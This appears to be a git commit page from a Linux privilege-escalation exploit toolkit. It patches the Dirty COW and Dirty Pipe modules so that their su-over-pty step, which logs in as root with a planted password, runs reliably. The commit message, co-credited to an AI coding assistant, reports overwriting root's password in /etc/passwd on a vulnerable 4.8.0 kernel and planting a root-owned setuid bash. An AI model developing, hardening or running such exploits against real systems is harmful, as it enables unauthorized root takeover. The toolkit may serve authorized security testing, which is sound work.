dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04 image + virtio-rng for entropy). A standalone built verbatim from the module's primitive + escalation raced root's password field, authenticated as root over a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical. (The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers — unrelated nft_* modules use newer kernel constants — so the verbatim standalone stands in for --exploit dirty_cow there.) Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS for the password prompt and hard-caps at 20s. The previous fixed-delay write raced su's prompt setup and HUNG on xenial; without a cap that would block the revert and leave /etc/passwd poisoned. Now su can never hang the module, and the revert always runs. Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a real portability fix surfaced by building on xenial. Host build + unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -75,6 +75,7 @@
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <poll.h>
|
||||
|
||||
/* Stable-branch backport thresholds for Dirty COW. */
|
||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
@@ -159,17 +160,29 @@ static void dc_su_root_run(const char *cmd)
|
||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
usleep(400 * 1000);
|
||||
char drain[256];
|
||||
ssize_t n = read(mfd, drain, sizeof drain);
|
||||
(void)n;
|
||||
if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
|
||||
for (;;) {
|
||||
ssize_t m = read(mfd, drain, sizeof drain);
|
||||
if (m <= 0) break;
|
||||
/* Poll for the password prompt, send the password, then drain — with a
|
||||
* hard 20s cap so a misbehaving su can never hang (which would block the
|
||||
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
|
||||
* xenial where the fixed-delay write raced su's prompt setup. */
|
||||
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||
const char *pw = DC_ROOT_PW "\n";
|
||||
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||
while (waited < 20000) {
|
||||
int pr = poll(&pfd, 1, 200);
|
||||
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||
if (m <= 0) break; /* pty closed → su exited */
|
||||
if (!sent) {
|
||||
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
} else {
|
||||
waited += 200;
|
||||
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
|
||||
@@ -62,6 +62,7 @@
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <poll.h>
|
||||
#include <pwd.h>
|
||||
|
||||
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
||||
@@ -206,19 +207,29 @@ static void dp_su_root_run(const char *cmd)
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
/* Parent: wait for the "Password:" prompt, then send the password. */
|
||||
usleep(400 * 1000);
|
||||
char drain[256];
|
||||
ssize_t n = read(mfd, drain, sizeof drain); /* consume the prompt */
|
||||
(void)n;
|
||||
if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ }
|
||||
/* Drain su's output until it exits and the pty closes. */
|
||||
for (;;) {
|
||||
ssize_t m = read(mfd, drain, sizeof drain);
|
||||
if (m <= 0) break;
|
||||
/* Parent: poll for the "Password:" prompt, send the password, then drain —
|
||||
* with a hard 20s cap so a misbehaving su can never hang (which would block
|
||||
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
|
||||
* raced su's prompt setup on some hosts (observed hanging on xenial). */
|
||||
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||
const char *pw = DP_ROOT_PW "\n";
|
||||
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||
while (waited < 20000) {
|
||||
int pr = poll(&pfd, 1, 200);
|
||||
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||
if (m <= 0) break; /* pty closed → su exited */
|
||||
if (!sent) {
|
||||
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
} else {
|
||||
waited += 200;
|
||||
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
|
||||
@@ -90,6 +90,8 @@
|
||||
* and declare the few socket constants we need by hand. IPPROTO_RAW
|
||||
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
|
||||
* (Linux constant value 0). */
|
||||
#include <linux/if.h> /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it
|
||||
* in on older kernel headers (e.g. Ubuntu 16.04). */
|
||||
#include <linux/netfilter_ipv4/ip_tables.h>
|
||||
#ifndef SOL_IP
|
||||
#define SOL_IP 0
|
||||
|
||||
Reference in New Issue
Block a user